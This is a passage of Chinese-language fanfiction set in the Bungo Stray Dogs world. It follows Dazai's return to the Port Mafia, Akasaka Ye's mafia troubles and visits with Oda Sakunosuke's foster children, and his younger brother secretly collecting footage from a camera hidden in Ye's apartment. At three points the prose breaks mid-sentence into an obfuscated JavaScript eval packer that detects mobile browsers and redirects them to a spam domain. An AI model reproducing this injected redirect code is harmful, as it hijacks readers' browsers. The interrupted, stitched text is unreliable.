——青花鱼那个舒坦的表情,真是放假给他放爽了是不是?他知不知道最近□□都要忙疯了!明明已经是干部了,怎么能这样抛下工作和组织一走了之?! 中原中也的想法全都写在脸上了,他是否说出来根本没有区别。 甚至他越是这副表情,太宰治就越要找他麻烦。 太宰治眼风一扫,就露出不怎么友好的笑容:“哟,只会汪汪叫的小狗居然也学会不要乱吠一通了?真是不容易啊。” 呵呵。 就好像他最早那两刀是自愿挨的一样。 马失前蹄、差点进了重症监护室的事不足为外人道也,更不可能让中原中也知道。太宰治嘴很硬,嘲讽力度全开,很快刺激得中原中也浑身炸毛,你一言我一语地吵了起来。 坐在长桌后、拿着久违的钻石打磨bgm当心情调味剂的首领此刻心情还算不错。 太宰君回来了,意味着他的工作量可以减少一大截了。而且自从中也君升任干部候补后,他变得越来越沉稳,很少会炸毛成这个样子跟太宰君进行口舌之争了,尤其是在他面前。时隔许久再见这副场景,果然还是很有趣呢。 森鸥外由衷感慨道:“你们关系还是这么要好啊。” “……” “……” 首领一句话就把两个人一齐消音了。 前者是表情扭曲、不理解但选择尊重的中原中也,后者是手动做了个呕吐动作的太宰治。 森鸥外笑笑,换了话题:“所以,太宰君,你究竟是碰上什么意外了?” “……”太宰治表情恹恹。 时常翘班摸鱼、两三个小时联系不上和接连半个月没有消息是两个截然不同的程度。主要是他那天去东京时,压根没想到会阴沟里翻船:他以为他是去揭穿赤坂冶小秘密的,没想到最后秘密是揭穿了,他也差点变成新的秘密。 他也知道自己一声不吭消失是件很离谱的事,港口mafia绝对派人暗中进行搜查了。若不是这样,赤坂冶也不可能强迫他打电话报平安——噫,这描述怎么听起来有点恶心? “被绑架了啦。”太宰治没什么正形地说。 森鸥外表情不变,倒是中原中也微微沉下脸色。 “是谁?”他语气甚至带上几丝不明显的杀气。 太宰治用难以言喻的表情瞥他一眼,扯出个奇怪的腔调:“你真想知道?” 森鸥外十指交错,手肘撑在桌上。他将下颚搭在交织的手指上,温和的笑着,眼神幽深地看着太宰治:“太宰君,我也很想知道呢。” “……” 太宰治露出了个既麻烦又抵触的表情,软绵绵地说:“好吧,是我男朋友啦。” 森鸥外:“……” 中原中也:“……” 房间内的空气不小心沉默了一下。 森鸥外不动声色地调整了一下姿势,遮住了自己的下半张脸。 嗯,太宰君确实也到了这个年纪了。但可能因为是太宰君的缘故,他以前从来没仔细思考过这个问题……果然这个年纪的男孩子都会面临这种情况吗? 以及,他没想到居然是男朋友。太宰君以前和美丽的女士们聊天时不是很擅长吗? 和经验丰富的年长者比起来,中原中也直接丧失表情管理能力,整个人都要开裂了。 他呆滞了三秒钟,然后才不可思议地上下打量着太宰治:“你、你你,你……” 太宰治泰然自若地接受着打量。 于是中原中也说不出话了。 他一时失语,只能默默把自己碎了一地的认知重新黏回去。 好半天,森鸥外才隐晦地提醒:“注意安全。” 太宰治发出几声意味不明、有些尖锐的笑声,漫不经心地回了一句。他的神情中透着点餍足的意味,又不乏他一贯的狠绝——是一个常人不会、但太宰治会做出的表情。 “挺安全的。我已经处理掉了。” 中原中也微微瞪大眼睛:“……” 森鸥外忍不住想要叹气:“……” 于是这个被高高抛起的问题被轻轻放下了。森鸥外面不改色地揭过这个话题,讲起了正事:“太宰君,之前你手上的工作我暂时交给了……” ** 被处理了、但还健康地活着的赤坂冶没两天就出现在机场,将自己的弟弟接回了家。 一连整个翘了大半个月的课,赤坂幸一看起来活泼多了。虽然他原本就很活泼开朗,但又有假期又有美食的日子让他过得相当滋润,哪怕是语言问题也没能难倒他,让他整个人都圆润了一圈。 “挺好的。”赤坂冶对此的评价是,“多吃点,你之前太瘦了。” 赤坂幸一有点不满:“……哥,我想竖着长,不想横着长!” 他也想长到哥哥这种身高好吗?! “营养不够就什么都别想。”赤坂冶给他倒了杯牛奶,“篮球打得怎么样?” 赤坂幸一可耻地沉默了。 在一片沉默中,他端起牛奶吨吨吨了下去。 赤坂冶觉得好笑,语气难免松快了一点:“不喜欢就算了。你打网球不是打得挺好吗?增加运动量就好,具体是哪一种无所谓吧?” 他上学的时候光忙着打架去了,可从来没打过篮球。也不知道弟弟这种打篮球就能长高的迷信是哪里来的。 “不!”赤坂幸一很坚持,“篮球是不一样的!” “你说了算。”赤坂冶并不坚持。 左右是些小事,弟弟开心就好。 其实他觉得以弟弟的年龄来算,接近一米七的身高并不算矮,奈何弟弟像是对身高有执念,每天盯着牛奶的眼神都非常森然,不知道的人看了还以为他和牛奶有仇。 赤坂冶的手机忽然响了。 他接通电话,发觉是同僚找他。 ……说实话,太宰治说那工作是‘打杂’还真是一点没说错。若不是工作性质给予了他一定程度上支配时间地点和方式的自由,赤坂冶也不可能会做得下来。 赤坂冶耐着性子听了一会,才打断了对方的话:“好,我知道了。我现在就过去。” 等他成功挂断电话,赤坂幸一已经用乖巧的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025555|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神望过来了。 他捧着牛奶杯,体贴地说:“哥哥你去忙吧,我去复习下课业,明天就准备回学校了。” 赤坂冶点点头,又询问了几句弟弟的学业和生活需要,叮嘱他累的话就好好休息。 赤坂幸一将关心照单全收,头点得像是小鸡啄米。于是赤坂冶又顺手揉了揉他的头,然后才动身离开。 而另一边,门一关上,赤坂幸一就哒哒哒地跑到了玄关旁。 他将耳朵贴在门上仔细听了片刻,确认哥哥已经离开后,才像一阵旋风样地卷到了房间内。 他拉开衣柜,在底部一个他手动用挡板隔出来的隐藏夹层内翻出了套衣服来,又从柜子里扒拉出了发网和假发,而后走进浴室,拉开抽屉取出了里面的化妆品。 十分钟后,赤坂幸一再从浴室走出来时,看着已然是风格性别都跟他原本大相径庭的模样了。 他从书包底部摸出了一串很少被使用的钥匙,揣进兜里,又背上一个造型可爱的挎包,也跟着出了门。 他特意从离他公寓单元较远的电梯下了楼,然后在小区里绕了点路,才姿态从容地走进了另一栋公寓,熟门熟路地按了正确的电梯楼层、一路毫无停顿地来到了前不久才被警察调查过的那间房门前,取出兜里的钥匙,插进了钥匙孔。 赤坂幸一微微低头,金发假发的刘海垂落下来,两边扎着的双马尾因晃动带来些重量。他的目光落到手上,控制着力道,轻轻往侧面一转。 咔哒。 门开了。 赤坂幸一这才放了心:好的,看来哥哥并没有先回家拿东西什么的。 他推门而入,又悄悄锁好门,才绕着屋里转了一圈。 嗯,看来哥哥最近又没怎么好好吃饭。冰箱总是这么空荡荡的怎么行——他讨教学来了中餐的做法,过两天就做给哥哥试试! 咦,哥哥卧室的立柜换了?怎么会突然想换家具的? 等下,窗帘的花色是不是也不一样了? ……居然还换了新买的床上用品?之前用的是这一套吗? 赤坂幸一站在卧室门前,摩挲着下颚,表情越来越阴沉。 ……他就知道。他就知道。他就知道。 虽然他第二天跟哥哥打电话的时候问了是谁,哥哥说只是一个朋友,刚好留到比较晚,但赤坂幸一是一百万个不相信的。他哥几乎不可能在外面睡着,所以哥哥当时一定在家。但这些年来,他基本就没见哥哥将朋友带回家过! 什么朋友?什么性质的朋友?从哪认识的朋友?? 赤坂幸一面带微笑地折返回客厅,在客厅那座座钟前停下。他搬动座钟,露出座钟的背面,然后取出挎包里的工具摆弄了一会。座钟后盖被小心翼翼地卸下,露出了内部复杂的内部机械结构。齿轮、发条、摆锤错落有致,然而,在那些黄铜齿轮与陈旧零件的掩盖下,一枚小型的黑色摄像头赫然显现。 那枚摄像头正对着座钟正面的一处小开口。那开口的位置巧妙极了,外表看似普通的装饰孔,实则刚好可以通过钟面的玻璃窥探外界。看角度的话,可以拍摄到公寓入口和大半部分的客厅。 赤坂幸一拔开几根电线的连接,滑开机器侧盖,露出里面的存储卡。他正打算将存储卡抽出来,脑内却忽地闪过哥哥出门前的画面——他摸了摸他的头,温和而又亲昵地说:“乖。” 赤坂幸一的动作一下僵在了那。 好半天,他才垂下眸子,隐去眼中的情绪,像重新开始运行的机械那样,屈起手指,将有点凉意的存储卡贴在了掌心,然后起身,将座钟复原回原样,无声无息地离开了这间公寓。 13. 013 夕阳昏黄的光线在整齐的石板道路上拉出长长的影子。下班的人潮已经散去,街道上只有零星几个路人。道路尽头,便利店门口的花坛上,赤坂冶惆怅地坐在横滨街头。 他是成功把太宰治撵回横滨了,但日子还得照过。 他把弟弟接回来后,还是断断续续地去了几趟警局配合调查,走了好一阵子的流程,才算是把这件事糊弄过去。赤坂冶不擅长表演,要他做出无辜受害者的模样稍微有点难为他。不过看着警局的人对着血样却无能为力的样子,也还算值回票价。 ——如果他们能找上特务科或者军警,给太宰治找点麻烦就更好了。 赤坂冶又做出惶恐不安的样子,四处做了做样子,才勉强把这件事情告一段落。 但他安生日子还没过几天,就又被组织首领一纸调令叫回了横滨。 他所属的是港口mafia旗下的一个小组织,就是任何混乱地带都会有的、认真讨生活、但始终很难继续往上爬的小组织。他还在念书的时候就被辗转招揽进了这里。 横滨地下就没有安稳过的时候,尤其是赤坂冶还会背着书包去上学的时候,那几年受战争影响,身为租界的横滨简直沦为了犯罪的自由港,连普通居民都掌握着时刻避难的技巧,擂钵街的孤儿层出不穷,城市里更是永远有部分地区是普通人不敢靠近的。 赤坂冶加入的时期,还在位上的老首领因意外死亡——当然,大家都知道他是被杀了,但没人知道他是怎么被杀的;而前任首领这位置也没坐多久,前年龙头战争的时候,前任首领作为组织里唯一的异能力者,不幸在混乱中身亡。如今位置上坐着的,已经是赤坂冶见过的第三任首领了。 那是个忠爱络腮胡,但是被既是组织干部又是他引路人的年长者臭骂一顿后,不得不剃干净胡子的中年人,印了满臂满背的纹身,五官硬朗,勉强称得上是一句剑眉星目。 他在组织内待的时间比赤坂冶还要再长几年,从他能在风雨飘摇的时期坚持下来,最终成为首领,将这个被接连换代弄得人心涣散、快要分崩离析的组织重新拉扯起来的这件事,就能看出他多少有那么几分能力。而随着港口mafia在龙头战争中吃了红利,凭借‘双黑’的存在得以在混乱中最大限度的保存组织实力,作为下属组织、再加上现任首领的努力,他们组织的地位也跟着水涨船高。 不过这事赤坂冶没怎么帮忙。 毕竟他是个厌倦了纷乱生活、想要安稳度日的人。 现任首领比赤坂冶年长个十几岁,算算年纪,给他当爹也差不多了。赤坂冶第一次拎着书包被带到组织地盘的时候,他就在外面看场子,然后赤坂冶出来时,就看到他在翻自己的英文课本。 这个连半个鸟文都认不清的大老爷们叼着烟感慨:“现在的小屁孩,都这么聪明的吗?” 赤坂冶不喜欢烟味,也不喜欢他的课本被蹭脏。 他那时还分不清那些痕迹是血、污渍、还是烟灰。 他也并不聪明。 但他终归也算是现任首领看着长大的,所以哪怕他在组织最需要的时期提出离开,这个男人也只是晦涩不明地看了他一会,然后吐出一口烟雾,摁灭手上的烟,摆摆手说:“算了,走了也好。” 他手边烟灰缸里,长短不一的烟头已经堆成小山了。他这样一动作,顶部摇摇欲坠的几根烟头被碰落、掉到桌上,烟灰蹭脏了他的手。 但他没注意到。 赤坂冶也并不在乎。 于是赤坂冶行礼,交接完自己的工作,表示感谢,然后转身离开。 这姑且是个体面的结局,不能算是不欢而散。此后被安排到赤坂冶手上的工作,也都被利落地完成了,任务报告和常规总结次次不落,东京那边的事务每季度都是最令首领省心的干净。 但首领再也没找过他,没给他发过奖金,连年末述职都没叫他回去过。 所以,当他突然下达命令时,赤坂冶才头疼得厉害。 首领办公室里,一年不见的高大男人拍着他的肩,絮絮叨叨说了好一阵。他权当曾经那场对话没有发生过,权当之前的冷遇和流放都不存在,一口一个阿冶,回顾了一会过去时光,紧接着又是一连串的‘相信你的能力’、‘相信你对组织的衷心’云云,乱七八糟说了好几个小时,才把燕国地图里头藏着的匕首掏出来。 等赤坂冶被从办公室放出来后,组织里重要位置上的人基本也都得了消息了。 相当核心、能够港口mafia打上交道的任务都被塞到了赤坂冶手里,然而蛋糕就这么大,赤坂冶忽然得了重用,那自然就有人被推去坐了冷板凳。 黑色地带的组织不讲那么多流程跟规矩,所以也就衍生出了别的流程跟规矩。 赤坂冶一时间忙得走不开。 短短三五天的功夫,他带的队就碰上了两场火拼,交到手里的工作推进得相当艰难,过去相处友好的同僚一时间态度都变得谨慎起来。 要么是直接上手找麻烦的,要么就是让人想挑错都没处挑的态度。可惜赤坂冶暂时还腾不出手处理这部分仍在观望的人。 他又处理掉一波暗中尾随他想找麻烦的家伙后,才终于有了个能喘口气的机会。 今天晚霞不错,空中有云,被染成了绚烂的颜色。太阳已经落山了一半,光线不算刺眼,于是赤坂冶就这么懒洋洋地坐在花坛跟前,盯着路边收拾着店铺准备下班的居民,感受着血条慢慢回升的感觉。 织田作之助就是这个时候看到他的。 明明头发有些凌乱、衬衫上还带着血,但赤坂冶坐在那晒太阳的样子半点不显得狼狈与落寞,微微眯眼享受的样子更像是在假寐的狮子。 织田作之助结了账,走出便利店,提着手里的塑料袋向他走去。 还未靠近,赤坂冶就已经不经意地扫过来一眼。织田作之助对此毫不意外。 “好久不见。” 他在赤坂冶身边坐下。 赤坂冶慢吞吞又把脑袋拧回来,懒洋洋地不动弹,也没搭理他。 织田作之助拎起手里的塑料袋,将一盒pocky拆开、撕开里面的塑料包装,放到赤坂冶手边,然后又拿出了自己刚买的三明治,就坐在花坛边吃了起来。 织田作之助进食的时候很安静,赤坂冶只能听到细微的动静。有条不紊的节奏让人内心逐渐平静下来,赤坂冶只是静静听着,就感觉心情好了一些。 好半天,他才摸出一根pocky叼进嘴里,像是叼烟那样,半死不活地叹了一声:“……织田。” 他的鼻音有点重,应该是感冒了。 以他的身体素质都能感冒,看起来他最近过得确实不怎么样,织田作之助想。 “你怎么回来了?”他这才问。 “被……找麻烦了。”赤坂冶牙齿前后错了下,磨了磨齿间叼着的pocky,含混又懒散地说。 织田作之助一听就明白了他的意思。 他这位友人在某些方面似乎相当受欢迎,织田作之助甚至曾经假扮他男朋友帮他解围过。 他没有追问,只是提出:“要帮忙吗?” “不用。” 赤坂冶耷拉着肩,提不起半点兴趣。 他懒懒地说:“随他去吧,他开心就好。” “好。”织田作之助平静地应了一声,没对赤坂冶使用的那个男性代称发表什么意见。 他吃完了三明治,就拿起那包pocky, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025556|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和赤坂冶分食起来。 从他看到赤坂冶、坐在他身边开始,这两个人的语调就都平稳得不可思议,全程表情都淡淡的。他们两人安静地坐在那,在静谧的氛围中,只有巧克力味的夹心pocky在以惊人的速度被消耗。 直到有路人说笑着经过,好奇地偏头看了他们两人一眼,织田作之助才恍惚想起了什么。 “说起来……”织田作之助的语气带了点些微的疑惑,“之前那个女孩子呢?” 赤坂冶:“……” 赤坂冶面无表情地咔嚓咔嚓咬着零食。 这讨人厌的城市,又危险又麻烦,还到处都是他的黑历史——包括那个爱跟他回顾童年的首领。 现在好了,又多了个爱找麻烦的一夜情对象。 麻烦程度超级加倍。 “……她不算。”赤坂冶含糊回道,“那是正经人家的女孩子,我死缠烂打纠缠人家算什么?” 而且还是他弟弟的同学。他是脑子出问题了才会跟人家在一起。 他简短地说:“很久没见过了。” 织田作之助又是应声:“哦。” 他其实只是曾经见过赤坂冶陪一个女孩子逛街而已,对于他们两人的关系并不清楚。他对于打探别人隐私这种事也没有太大兴趣,只不过想起来然后问一句而已。 “你要待多久?”织田作之助问。 闻言,赤坂冶唇角的弧度又往下了一点。 “一时半会都走不了了。”他淡淡开口,“有空可以去陪你喝酒。” 织田作之助这下才终于有点诧异了。 赤坂冶离开横滨时还跟他打了个招呼,跟他提过弟弟去上大学了,所以如果没有意外,他不应该会长留横滨才对。这么看来,那个给他找麻烦的人还真是给他找了个大麻烦。 他投来一个有些担忧的眼神,无奈地说:“真的不需要帮忙……?你又不喝酒,去了不过是陪我聊天。” 赤坂冶浑不在意:“陪你聊天不也挺好的吗?” 他略过对方的前一个问题,转移话题:“最近过得怎么样?” “还可以吧。孩子们都很听话,工作和往常一样,然后偶尔和友人去喝喝酒。” “是吗?那看来是不需要我了。”赤坂冶语带调侃,“你的小说进度如何?” “……”织田作之助抿了抿唇,“别打趣我了。” “没打趣你,正经问的。”赤坂冶偏头看过去,“总不能连个草稿都还没有吧?什么时候才能给我看看你的作品,嗯?” 织田作之助扫了他一眼,眼里多了几丝微小的情绪起伏。他起身,将垃圾包装袋团了团塞进塑料袋内,丢进垃圾桶,才回身过来。 他低头看了眼赤坂冶,眼神从他前胸扫过,迟疑片刻才问:“你这衬衫,号码是不是有点小?” “……没辙,一年多没回来,住处没别的衣服了。” 织田作之助想了想:“那我陪你去买吧?” 赤坂冶懒散地屈着一条腿,抬眼看他:“现在?” 织田家不是还有小孩要照顾吗? 织田作之助垂眸,视线扫过他脸上横跨鼻梁的疤痕,落到他那双柔和的棕色眼睛上,与赤坂冶对上视线。 他无视街旁暗巷里投来的视线,声音平稳,很肯定地说:“现在。” “……好吧。” 于是赤坂冶收了收自己这架势,站了起来。 织田作之助的身量已经算高的了,不过赤坂冶站在他身边,还要比他略高一些。赤坂冶捋了下额前乱糟糟的头发,随意别到耳后,将手放到口袋里。 他握住大衣口袋里的短刀,用带着点鼻音的声音无精打采地问:“你带枪了?” 14. 014 织田作之助是个前杀手,现港口mafia底层成员。为了完成自己的梦想,为了书写生命的故事,他下定了决定不再做夺取生命的事。 赤坂冶当然不可能叫他为了自己杀人,这种小局面,还远远不到牺牲某个人梦想的程度。 而且叫别人为自己做这样的牺牲,太沉重了。他做不到,亦接受不了。 所以他虽然这么问了,却只是拜托织田作之助替他在附近守着。 ——聊胜于无的帮助。 织田作之助无奈地看了他一眼,然后抽出右侧腰腹处挂着的枪袋中的枪,利落地卸下枪支弹夹,向他展示了一下里面质感光泽明显不太对劲的子弹。 赤坂冶不用看都知道,是橡胶弹。 他懒得抬眼皮,嘀咕了一句:“用不着而已。” 他自己也能解决,不需要织田作之助脏手。这些是来找他麻烦的,织田作之助参与了,反而给他自己惹麻烦。 咔哒一声轻响,织田作之助将弹夹重新装回去。 他语气淡然,但熟悉的人能从中听出他真切的疑问之情:“你什么时候这么客气了?” 赤坂冶:“……” 他不再说话,只是大步向阳光照耀不到的地方走去。 二十分钟后,两个人又并肩从小巷走了出来。 赤坂冶打了个哈切,在路过街角那家便利店的时候叫住织田作之助,拐进去又买了一盒同样味道的pocky。 天知道他搬去东京之后,已经戒掉这个爱好很久了。一见到织田作之助,这好不容易戒掉的瘾又重新回来了。 “走吧,去买衣服。”赤坂冶补充了些糖分,勉强提起精神,“我请你家孩子吃饭。” “唔。”织田作之助认真思考了一下,“这个时间,他们可能已经吃过晚饭了。明天吧?” 赤坂冶并无意见:“吃什么?” 织田作之助:“咖喱?” 赤坂冶想起织田那忠爱的特辣咖喱,忍不住闭了闭眼:“……啧,行吧。” 织田作之助是个很有意思的人。 不管是作为普通人,还是作为黑手党,织田作之助都相当与众不同。正因为如此,赤坂冶会跟组织里的人隐瞒弟弟的存在,却能无所顾忌地和织田作之助提起这件事。而在织田作之助也收养了五个孩子后,他们某种意义上又有了更多的共同点,分享了同样的感受和经历。 跟赤坂冶家的弟弟不同,织田作之助家的五个孩子是他在龙头战争中收养的幸存者。 他没办法看着因动乱失去家庭的孩子们在街上流浪,所以用他微薄的工资,尽力照顾着这五个年幼的孩子。他们基本都是小学年纪,虽然不能去上学,但能有个容身之所、不至于在擂钵街的组织里挣扎求生,已经算是不错的境遇了。 赤坂冶跟着织田作之助上楼的时候,一开门,就察觉了来自房间内的数道视线。 他斜眼瞥了一眼织田,发现红发青年只是表情沉稳地站在门边、为他让开了道路,便猜到了其中隐含的恶趣味。 赤坂冶收回视线,恍若不觉地走进房间。 “打搅了。”他礼貌性地说了一句,告知房间内的孩子自己的存在。 房间内部比他想象的要更宽敞,虽然同住着五个孩子,房间却被打理得很干净,双层的宽敞床架,两个书桌,留了中间一片活动区域,除此之外能利用的空间都尽力利用上了,床头也被做成了书架,上面整整齐齐地摆满了书。书桌前,一个男孩屈着腿坐在椅子上,头也不抬地玩着游戏机。 赤坂冶偏头看了一眼,发现另外两个孩子一边一个坐在墙边,全部是头也不抬的冷漠模样,好像一年多过去后,他们已经完全忘记赤坂冶这个人了一般。 ……另外两人呢? 赤坂冶眼神往床上瞄了一眼,假装没发现身后墙角处还躲着一个。 趁着这个间隙,书桌前的男孩转过身来,和门外好整以暇围观的织田作之助交换了一个眼神,然后便信心满满地跳了起来。 他挥舞着手上的游戏机,作势就要往赤坂冶脸上拍,气势汹汹的模样很难不说是在借题发挥。 “赤坂冶!”他大喝一声,“受死吧!!” 此言一出,两边的孩子也冲了过来,床上的孩子直接从上层床铺往下跳,身后躲着的那个更是跳起来就要勒赤坂冶的脖子。 赤坂冶不想被游戏机拍脸,但也不能看着织田家的小孩摔到地上。他右手架了一下幸介的游戏机攻击,一矮身,在半空中把优抱住,然后被终于能够到他脖子的克己从后面一把抱住,惹得没以为自己能成功的小孩惊喜地大叫了起来。赤坂冶身上挂着个人,但依然□□着表情不变,转手将优往床上一丢,然后一手一个把两边抱着他不放的小孩撕下来,一个丢进织田怀里,一个丢到幸介跟前。 幸介被吓了一跳,忙不迭接住了自己年龄最小的弟弟:“真嗣,没事吧?” “嗷!”真嗣被他手上的游戏机硌了一下,叫唤着,“按钮、按钮!好痛!” “……啊!抱歉。”幸介悻悻地将游戏机放回桌子上。 另一边的织田作之助倒是稳稳当当地接住了自家唯一的女孩,将人好好地放回了地上。他看着赤坂冶将克己从身上扒拉下来,双手举着人在空中转了一圈,才将他放回地面。很少能有大人陪玩的小男孩在惊讶之余,眼睛亮晶晶的、几乎在闪着光,仰头眼巴巴地看着赤坂冶。 “……”赤坂冶蹲下来,揉揉他的脑袋,“好久不见,克己。” 优已经从床上爬下来了,闻言大声抱怨起来:“太过分了,赤坂哥哥!不能只跟克己一个人打招呼,这是偏心!” “没错没错!” “好久不见,赤坂哥哥——” “赤坂哥哥,你好久好久没有来过了!” “好的好的。”赤坂冶从善如流,“好久不见,真嗣,咲乐,优,还有想用游戏机砸我的幸介。” 他像是揉棉花娃娃一样,将人挨个揉了一把,才温和地问:“去吃饭吗?” ** 织田作之助毕竟是个黑手党成员,包揽底层一切杂活不说,工作时间更是不稳定。平日他忙于工作的时候,就会拜托熟悉的咖喱店老板帮忙照看他们,而老板也是个很好的人,将自家店铺二楼的房间腾出来,给这几个孩子居住。 早先他陆陆续续将这些孩子带回家的时候,还托赤坂冶照顾过几天。赤坂冶有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025557|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小照顾弟弟的经验,哄起小孩来倒是相当得心应手,倒是让那段时间疲于奔波的织田作之助顺利地度过了万事开头难的开头。 除此之外,赤坂冶还有一个优势:他念过书。 赤坂冶坐在地板上,拿着真嗣自己完成的习题册,简单有条理地给他讲解错题。他屈着一条腿,右手握着笔,在真嗣捧着的习题册上圈着重点。一旁,幸介百无聊赖地趴在椅背上,不满地转折圈圈。 “读书有什么有意思的?”他小声蛐蛐,“又没有用,还不如等年纪到了就加入黑手党……” 赤坂冶:“……” 赤坂冶讲完这道题,才抬头瞥了下织田作之助。织田作之助正在旁边陪着咲乐看书,对这个话题似乎没有接话的意思。 赤坂冶有点无奈。在他看来,织田作之助实在疏于跟自家孩子的交流——他平时光忙工作不回家的吗?港口mafia这么不做人的吗,对谁都这个样? 织田作之助的愿望是有朝一日能够离开港口mafia,放下枪,拿起笔,然而他养大的孩子却一心想要加入织田作之助所在的组织。 “黑手党才没什么有趣的。”赤坂冶说,“钱少,事多,还废命。要不是走不掉,织田早就不想做了吧?” “……唔。”织田作之助有点意外他会提起这个话题,但姑且还是没有否认。 最早的时候,他缺乏必要的营生手段;再后来,他不小心惹上了麻烦,于是太宰治建议他加入港口mafia、借由组织的名声得到庇护;再再后来……黑手党组织一经加入就不允许退出,港口mafia对待叛徒的手段,可不是那么温和的啊。 幸介一愣,悻悻地低下头去。 “但是……” 但是他们这样的孩子,很难像正常人那样升学、然后步入社会。比方说赤坂冶在有父母供养的情况下依旧高中辍学,比方说织田作之助连半天学都没有上过。 赤坂冶想了想:“我弟弟就在读大学。” 有稚嫩的声音好奇问道:“你弟弟?” “嗯,我弟弟。” 赤坂冶基本没和他们提起过自己弟弟。不像赤坂幸一恨不得让所有人知道哥哥爱他,赤坂冶除特殊时刻外基本不会讲赤坂幸一相关的事。他熟悉的人也没人有那种过剩的好奇心。 “是个很聪明的孩子。我当年担心过我的工作会影响到他,不过幸好,他还是成功考上了大学。”赤坂冶顿了顿。那一瞬间,他的表情柔和了些许,眼中流露出真切、却仿佛在眨眼间就消失不见的温柔情绪,“我很为他自豪。” 他话音落下,房间里突然安静了片刻,落针可闻。 赤坂冶再次抬眼时,就看到斜对面,织田作之助那双蓝色的眼睛正平静地看着他,像是在看一个找到了未来的人。孩子们也都愣愣地凝视着他。 赤坂冶避开了他的目光,重新低头,在真嗣的习题本上做了一个注解,一边嘴里还说着:“嘛,不过大家各有各的理想,也不是说非要……” 没等他说完,真嗣就豁然起身。 这个有点羞怯、性格比较内敛的男孩憋红了脸。他偷偷看了织田作之助两眼,大声说道:“我、我……我也想要上大学!” 15. 015 “……” 克己有点不服气了。 是织田作之助将他们带了回来,重新给了他们一个家。明明他们几个人对他来说,是彻头彻尾的累赘。 ……如果有可能的话,他也想要织田作之助能为他感到骄傲啊。 克己张口欲言,又闷闷不乐地垂下头去。 但是,念书什么的……真的很难啊。 赤坂冶将他们的表情尽收眼底。他装作意外的模样鼓励了真嗣几句,将人哄得重新坐下,才不动声色地翻过一页习题册:“我当年,嗯,姑且读到了高中吧?学校里有很多同龄人,还有很多社团,读书会或者运动社团之类的。嘛,我当年成绩也不好,还是靠体育特长生考上的高中。” 织田作之助:“…………” 织田作之助默不作声瞥他一眼。 什么体育特长生。那时候赤坂冶已经加入组织了,翘课都是家常便饭,哪有空下课后去参加社团?这个人骗人时还是这么眼都不眨一下。 不过织田作之助没有揭穿,而是顺着捧了几句,状似好奇地询问了他昔日的校园生活,眼瞅着爱好棒球的克己眼睛亮了起来,幸介的表情也一路从不服气不理解、到郁闷抵触、再到沉默着开始动摇,才话音一转,结束了这个话题。 赤坂冶也终于是不着痕迹地松了一口气。 他哪来那么多校园小故事可以讲?就算混着他道听途说的别人的经历,小孩子们天马行空的问题也快把他的库存掏空了。哪怕是当年在学校,他也属于特立独行的类型,没什么和同龄朋友一起打闹的经历。 目的达成后,他便迅速逃离这个话题。赤坂冶看了一眼时间:“不早了,我该回去了。” 他将真嗣的习题册阖上,交还给男孩:“好好学习。我下次来的时候会检查,可以吗?” 真嗣腼腆地笑了下,显然是应许的意思。 于是赤坂冶起身:“那我先告辞了。下次再见。” 织田作之助也跟着站起来:“赤坂,我送你。” 两人一前一后地离开房间,在玄关处换了鞋子,然后踩着屋外的铁质楼梯下到一楼。时间确实不早了,咖喱店早已打烊,外面的停车场空荡荡一片,明月高悬于空。 “多谢。”织田作之助说。 “哪里。”赤坂冶回,“你不嫌我多管闲事就好。” 织田作之助安静了几秒钟,正打算继续说些什么,赤坂冶就抬手打断了他。 他不甚明显地笑了下:“不过我弟弟是天才少年来着,希望不会给他们带来太大压力。” “……” 织田作之助审视他片刻,发觉他此刻的表情浅淡,却比刚刚的要自然许多。织田作之助稍微放松下来, “你怎么猜到我要问这个的?” “因为织田是个会关心朋友的好人。” 赤坂冶对上他的视线,一错不错地注视着他。 织田作之助只是平静地回望,从表情上看不出他在想什么。 赤坂冶很快对他微微点头:“先走了。下次见。” “嗯,再见。” 回去住处的路上,赤坂冶抽空回了弟弟两条消息。 他第三条消息还没发出去,赤坂幸一就已经一个电话拨了过来。 赤坂冶无奈接通电话,哄完别家的孩子就开始哄自己家的孩子。但赤坂幸一可比织田作之助家的孩子难糊弄多了,上来就是一句:“哥你在哪!” “出差。”赤坂冶控制着语气回复,“前两天不是说了吗?工作出了点问题,这边走不开。一时半会我可能都不能回去东京了,抱歉。嗯嗯,我知道。我也很不满,但我是这次项目的负责人。那些家伙稍微不盯着就会闹出一堆问题,我也想快点回去。我也想你,乖。我知道,我知道,最近学习辛苦吗?要注意身体,不要累到了,学习不用太努力也没关系。” 